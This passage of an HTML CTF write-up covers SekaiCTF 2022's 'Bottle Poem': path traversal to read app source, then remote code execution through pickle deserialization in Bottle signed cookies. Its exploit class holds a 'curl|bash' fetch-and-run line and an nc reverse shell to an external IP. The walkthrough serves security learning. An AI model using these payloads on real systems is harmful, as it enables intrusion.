&lt;p>Pick /etc/self/procline to get the start application command
&lt;figure >
&lt;div class="d-flex justify-content-center">
&lt;div class="w-100" >&lt;img alt="" srcset="
/blog/duti/sekai-ctf-2022-bottle-poem/directory-traveral-cmd-procline_hu9a9e03d49b5159300bc336cf8757ad35_275308_fc062345345ae139fe5df5f323a0f62c.webp 400w,
/blog/duti/sekai-ctf-2022-bottle-poem/directory-traveral-cmd-procline_hu9a9e03d49b5159300bc336cf8757ad35_275308_0578602a743ca95967da4ec9e86a3219.webp 760w,
/blog/duti/sekai-ctf-2022-bottle-poem/directory-traveral-cmd-procline_hu9a9e03d49b5159300bc336cf8757ad35_275308_1200x1200_fit_q75_h2_lanczos_3.webp 1200w"
src="https://bkisc-blog.netlify.app/blog/duti/sekai-ctf-2022-bottle-poem/directory-traveral-cmd-procline_hu9a9e03d49b5159300bc336cf8757ad35_275308_fc062345345ae139fe5df5f323a0f62c.webp"
width="760"
height="317"
loading="lazy" data-zoomable />&lt;/div>
&lt;/div>&lt;/figure>
&lt;figure >
&lt;div class="d-flex justify-content-center">
&lt;div class="w-100" >&lt;img alt="" srcset="
/blog/duti/sekai-ctf-2022-bottle-poem/self-procline_hu5b1ff968481bcd6b20cbe9c421f572db_31755_f5f4909618c2167367b9036354859eb0.webp 400w,
/blog/duti/sekai-ctf-2022-bottle-poem/self-procline_hu5b1ff968481bcd6b20cbe9c421f572db_31755_a66a23cecd42078ee2582b06c445b63f.webp 760w,
/blog/duti/sekai-ctf-2022-bottle-poem/self-procline_hu5b1ff968481bcd6b20cbe9c421f572db_31755_1200x1200_fit_q75_h2_lanczos_3.webp 1200w"
src="https://bkisc-blog.netlify.app/blog/duti/sekai-ctf-2022-bottle-poem/self-procline_hu5b1ff968481bcd6b20cbe9c421f572db_31755_f5f4909618c2167367b9036354859eb0.webp"
width="760"
height="89"
loading="lazy" data-zoomable />&lt;/div>
&lt;/div>&lt;/figure>
&lt;/p>
&lt;p>So the application source is located at /app/app.py
&lt;figure >
&lt;div class="d-flex justify-content-center">
&lt;div class="w-100" >&lt;img alt="" srcset="
/blog/duti/sekai-ctf-2022-bottle-poem/self-procline_hu5b1ff968481bcd6b20cbe9c421f572db_31755_f5f4909618c2167367b9036354859eb0.webp 400w,
/blog/duti/sekai-ctf-2022-bottle-poem/self-procline_hu5b1ff968481bcd6b20cbe9c421f572db_31755_a66a23cecd42078ee2582b06c445b63f.webp 760w,
/blog/duti/sekai-ctf-2022-bottle-poem/self-procline_hu5b1ff968481bcd6b20cbe9c421f572db_31755_1200x1200_fit_q75_h2_lanczos_3.webp 1200w"
src="https://bkisc-blog.netlify.app/blog/duti/sekai-ctf-2022-bottle-poem/self-procline_hu5b1ff968481bcd6b20cbe9c421f572db_31755_f5f4909618c2167367b9036354859eb0.webp"
width="760"
height="89"
loading="lazy" data-zoomable />&lt;/div>
&lt;/div>&lt;/figure>
&lt;figure >
&lt;div class="d-flex justify-content-center">
&lt;div class="w-100" >&lt;img alt="" srcset="
/blog/duti/sekai-ctf-2022-bottle-poem/app-source_hua054e672ef06a5fc1f5b3be2a3baec28_89890_231ee56a6ac5c55c679dddf2ba990317.webp 400w,
/blog/duti/sekai-ctf-2022-bottle-poem/app-source_hua054e672ef06a5fc1f5b3be2a3baec28_89890_77c4616a926a88f0602b8fbf417a36b1.webp 760w,
/blog/duti/sekai-ctf-2022-bottle-poem/app-source_hua054e672ef06a5fc1f5b3be2a3baec28_89890_1200x1200_fit_q75_h2_lanczos_3.webp 1200w"
src="https://bkisc-blog.netlify.app/blog/duti/sekai-ctf-2022-bottle-poem/app-source_hua054e672ef06a5fc1f5b3be2a3baec28_89890_231ee56a6ac5c55c679dddf2ba990317.webp"
width="760"
height="234"
loading="lazy" data-zoomable />&lt;/div>
&lt;/div>&lt;/figure>
&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">bottle&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">route&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">run&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">template&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">request&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">response&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">error&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">config.secret&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">sekai&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">os&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">re&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nd">@route&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;/&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">home&lt;/span>&lt;span class="p">():&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">template&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;index&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nd">@route&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;/show&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">index&lt;/span>&lt;span class="p">():&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">response&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">content_type&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s2">&amp;#34;text/plain; charset=UTF-8&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">param&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">request&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">query&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">id&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">re&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">search&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;^../app&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">param&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="s2">&amp;#34;No!!!!&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">requested_path&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">os&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">path&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">join&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">os&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">getcwd&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="s2">&amp;#34;/poems&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">param&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">try&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">with&lt;/span> &lt;span class="nb">open&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">requested_path&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">as&lt;/span> &lt;span class="n">f&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">tfile&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">f&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">read&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">except&lt;/span> &lt;span class="ne">Exception&lt;/span> &lt;span class="k">as&lt;/span> &lt;span class="n">e&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="s2">&amp;#34;No This Poems&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">tfile&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nd">@error&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">404&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">error404&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">error&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">template&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;error&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nd">@route&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;/sign&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">index&lt;/span>&lt;span class="p">():&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">try&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">session&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">request&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">get_cookie&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;name&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">secret&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">sekai&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="ow">not&lt;/span> &lt;span class="n">session&lt;/span> &lt;span class="ow">or&lt;/span> &lt;span class="n">session&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s2">&amp;#34;name&amp;#34;&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s2">&amp;#34;guest&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">session&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">{&lt;/span>&lt;span class="s2">&amp;#34;name&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;guest&amp;#34;&lt;/span>&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">response&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">set_cookie&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;name&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">session&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">secret&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">sekai&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">template&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;guest&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">name&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">session&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s2">&amp;#34;name&amp;#34;&lt;/span>&lt;span class="p">])&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">session&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s2">&amp;#34;name&amp;#34;&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s2">&amp;#34;admin&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">template&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;admin&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">name&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">session&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s2">&amp;#34;name&amp;#34;&lt;/span>&lt;span class="p">])&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">except&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="s2">&amp;#34;pls no hax&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">if&lt;/span> &lt;span class="vm">__name__&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s2">&amp;#34;__main__&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">os&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">chdir&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">os&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">path&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">dirname&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="vm">__file__&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">run&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">host&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;0.0.0.0&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">port&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mi">8080&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>If run the code at local change the set_cookie’s session argument to {”name”:”admin”} will get the admin page but it just a trap&lt;/p>
&lt;p>The hint said flag is executable, meaning RCE is possible.&lt;/p>
&lt;h2 id="basic">Basic&lt;/h2>
&lt;p>Let&amp;rsquo;s have a look at Python Bottle&lt;/p>
&lt;h3 id="python-bottle">Python Bottle&lt;/h3>
&lt;p>
&lt;figure >
&lt;div class="d-flex justify-content-center">
&lt;div class="w-100" >&lt;img alt="" srcset="
/blog/duti/sekai-ctf-2022-bottle-poem/bottle-guide_hua0e15899b815379d498dc7acac9b8797_235317_5f549a8f050ac8897d03c5bfebe80783.webp 400w,
/blog/duti/sekai-ctf-2022-bottle-poem/bottle-guide_hua0e15899b815379d498dc7acac9b8797_235317_15227450c11f0535f0390b2a5c6ff3df.webp 760w,
/blog/duti/sekai-ctf-2022-bottle-poem/bottle-guide_hua0e15899b815379d498dc7acac9b8797_235317_1200x1200_fit_q75_h2_lanczos_3.webp 1200w"
src="https://bkisc-blog.netlify.app/blog/duti/sekai-ctf-2022-bottle-poem/bottle-guide_hua0e15899b815379d498dc7acac9b8797_235317_5f549a8f050ac8897d03c5bfebe80783.webp"
width="760"
height="673"
loading="lazy" data-zoomable />&lt;/div>
&lt;/div>&lt;/figure>
&lt;/p>
&lt;h4 id="bottle-signed-cookie">Bottle signed cookie&lt;/h4>
&lt;p>
&lt;figure >
&lt;div class="d-flex justify-content-center">
&lt;div class="w-100" >&lt;img alt="" srcset="
/blog/duti/sekai-ctf-2022-bottle-poem/bottle-signed-step_hu0cd8d755df6863a65683222e34093b5c_95023_9a8a79c9d91b7bac328f29ab541d80b3.webp 400w,
/blog/duti/sekai-ctf-2022-bottle-poem/bottle-signed-step_hu0cd8d755df6863a65683222e34093b5c_95023_2df26d6e3e942fa319cb094fad052c6c.webp 760w,
/blog/duti/sekai-ctf-2022-bottle-poem/bottle-signed-step_hu0cd8d755df6863a65683222e34093b5c_95023_1200x1200_fit_q75_h2_lanczos_3.webp 1200w"
src="https://bkisc-blog.netlify.app/blog/duti/sekai-ctf-2022-bottle-poem/bottle-signed-step_hu0cd8d755df6863a65683222e34093b5c_95023_9a8a79c9d91b7bac328f29ab541d80b3.webp"
width="760"
height="418"
loading="lazy" data-zoomable />&lt;/div>
&lt;/div>&lt;/figure>
Bottle first:&lt;/p>
&lt;ul>
&lt;li>pickle.dumps([name, value], -1) then base64 encode → encoded&lt;/li>
&lt;li>hmac encrypt the secret seperately then base64 encode → signature&lt;/li>
&lt;li>add ‘!’ at the first char and ‘?’ in between signature&lt;/li>
&lt;/ul>
&lt;p>Cookie format: !&lt;strong>secret_hmac_base64&lt;/strong>==?&lt;strong>pickle_name_value_base64&lt;/strong>==&lt;/p>
&lt;h4 id="bottle-verify-cookie">Bottle verify cookie&lt;/h4>
&lt;p>
&lt;figure >
&lt;div class="d-flex justify-content-center">
&lt;div class="w-100" >&lt;img alt="" srcset="
/blog/duti/sekai-ctf-2022-bottle-poem/bottle-verify-step_hubbe8808ca1647ce036722730ad0cedd3_112464_afa6372f888cf554a1f5b108e45a9801.webp 400w,
/blog/duti/sekai-ctf-2022-bottle-poem/bottle-verify-step_hubbe8808ca1647ce036722730ad0cedd3_112464_19db6ed480aa8cf63eaeef3f25ec6fcd.webp 760w,
/blog/duti/sekai-ctf-2022-bottle-poem/bottle-verify-step_hubbe8808ca1647ce036722730ad0cedd3_112464_1200x1200_fit_q75_h2_lanczos_3.webp 1200w"
src="https://bkisc-blog.netlify.app/blog/duti/sekai-ctf-2022-bottle-poem/bottle-verify-step_hubbe8808ca1647ce036722730ad0cedd3_112464_afa6372f888cf554a1f5b108e45a9801.webp"
width="760"
height="485"
loading="lazy" data-zoomable />&lt;/div>
&lt;/div>&lt;/figure>
get_cookie:&lt;/p>
&lt;ul>
&lt;li>…&lt;/li>
&lt;li>base64 decode the pickled then call pickle.loads(pickle.dumps([’name’, “Pickle dumps containing RCE here”], -1))&lt;/li>
&lt;/ul>
&lt;p>We have controlled the value input through cookie&lt;/p>
&lt;h3 id="pickle-exploit">Pickle exploit&lt;/h3>
&lt;p>&lt;a href="https://davidhamann.de/2020/04/05/exploiting-python-pickle/" target="_blank" rel="noopener">Ref&lt;/a>
Byte-stream created by pickle.dumps contains opcodes that are then one-by-one executed as soon as we load the pickle back in. If you are curious how the instructions in this pickle look like, you can use pickletools to create a disassembly: pickletools.dis(pickled)&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;gt;&amp;gt;&amp;gt;&lt;/span> &lt;span class="n">pickled&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">pickle&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">dumps&lt;/span>&lt;span class="p">([&lt;/span>&lt;span class="s1">&amp;#39;pickle&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;me&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">3&lt;/span>&lt;span class="p">])&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;gt;&amp;gt;&amp;gt;&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="nn">pickletools&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;gt;&amp;gt;&amp;gt;&lt;/span> &lt;span class="n">pickletools&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">dis&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">pickled&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="mi">0&lt;/span>&lt;span class="p">:&lt;/span> \&lt;span class="n">x80&lt;/span> &lt;span class="n">PROTO&lt;/span> &lt;span class="mi">4&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="mi">2&lt;/span>&lt;span class="p">:&lt;/span> \&lt;span class="n">x95&lt;/span> &lt;span class="n">FRAME&lt;/span> &lt;span class="mi">25&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="mi">11&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="p">]&lt;/span> &lt;span class="n">EMPTY_LIST&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="mi">12&lt;/span>&lt;span class="p">:&lt;/span> \&lt;span class="n">x94&lt;/span> &lt;span class="n">MEMOIZE&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="k">as&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="mi">13&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="p">(&lt;/span> &lt;span class="n">MARK&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="mi">14&lt;/span>&lt;span class="p">:&lt;/span> \&lt;span class="n">x8c&lt;/span> &lt;span class="n">SHORT_BINUNICODE&lt;/span> &lt;span class="s1">&amp;#39;pickle&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="mi">22&lt;/span>&lt;span class="p">:&lt;/span> \&lt;span class="n">x94&lt;/span> &lt;span class="n">MEMOIZE&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="k">as&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="mi">23&lt;/span>&lt;span class="p">:&lt;/span> \&lt;span class="n">x8c&lt;/span> &lt;span class="n">SHORT_BINUNICODE&lt;/span> &lt;span class="s1">&amp;#39;me&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="mi">27&lt;/span>&lt;span class="p">:&lt;/span> \&lt;span class="n">x94&lt;/span> &lt;span class="n">MEMOIZE&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="k">as&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="mi">28&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">K&lt;/span> &lt;span class="n">BININT1&lt;/span> &lt;span class="mi">1&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="mi">30&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">K&lt;/span> &lt;span class="n">BININT1&lt;/span> &lt;span class="mi">2&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="mi">32&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">K&lt;/span> &lt;span class="n">BININT1&lt;/span> &lt;span class="mi">3&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="mi">34&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">e&lt;/span> &lt;span class="n">APPENDS&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">MARK&lt;/span> &lt;span class="n">at&lt;/span> &lt;span class="mi">13&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="mi">35&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="o">.&lt;/span> &lt;span class="n">STOP&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>pickle still allows you to define a custom behavior for the pickling process for your class instances.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">The __reduce__() method takes no argument and shall return either a string or
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">preferably a tuple (the returned object is often referred to as the “reduce value”).
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">[…] When a tuple is returned, it must be between two and six items long.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Optional items can either be omitted, or None can be provided as their value.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">The semantics of each item are in order:
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">A callable object that will be called to create the initial version of the object.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">A tuple of arguments for the callable object. An empty tuple must be given if the
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">callable does not accept any argument. […]
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>So by implementing &lt;code>__reduce__&lt;/code> in a class which instances we are going to pickle, we can give the pickling process a callable plus some arguments to run. While intended for reconstructing objects, we can abuse this for getting our own reverse shell code executed.&lt;/p>
&lt;p>So if any value in the array pass into pickle.dumps is an instance containing &lt;code>__reduce__&lt;/code>(…) function, that reduce will be executed when calling pickle.loads(…). And the &lt;code>__reduce__&lt;/code>(…) implement demand returns an tuple with first value an executable, callable method in python for example (os.system, eval or any function), the second value is argument of the callable.&lt;/p>
&lt;p>So by implement reduce method that &lt;code>return (eval, ('__import__(&amp;quot;os&amp;quot;).popen(&amp;quot;curl xxx|bash&amp;quot;)',))&lt;/code> , we can execute code on the server.&lt;/p>
&lt;h2 id="the-exercise-step">The exercise step&lt;/h2>
&lt;h3 id="generate-cookie">Generate cookie&lt;/h3>
&lt;p>Add an class definition with &lt;code>__reduce__&lt;/code> method (that return reverse shell python code) to create an instance, then pass the instance to the session1[’name’] that passed into set_cookie.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="k">class&lt;/span> &lt;span class="nc">RCE&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">def&lt;/span> &lt;span class="nf">__reduce__&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># 14.186.174.164&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">cmd&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2&amp;gt;&amp;amp;1 | nc 14.186.174.164 55555 &amp;gt; /tmp/f&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
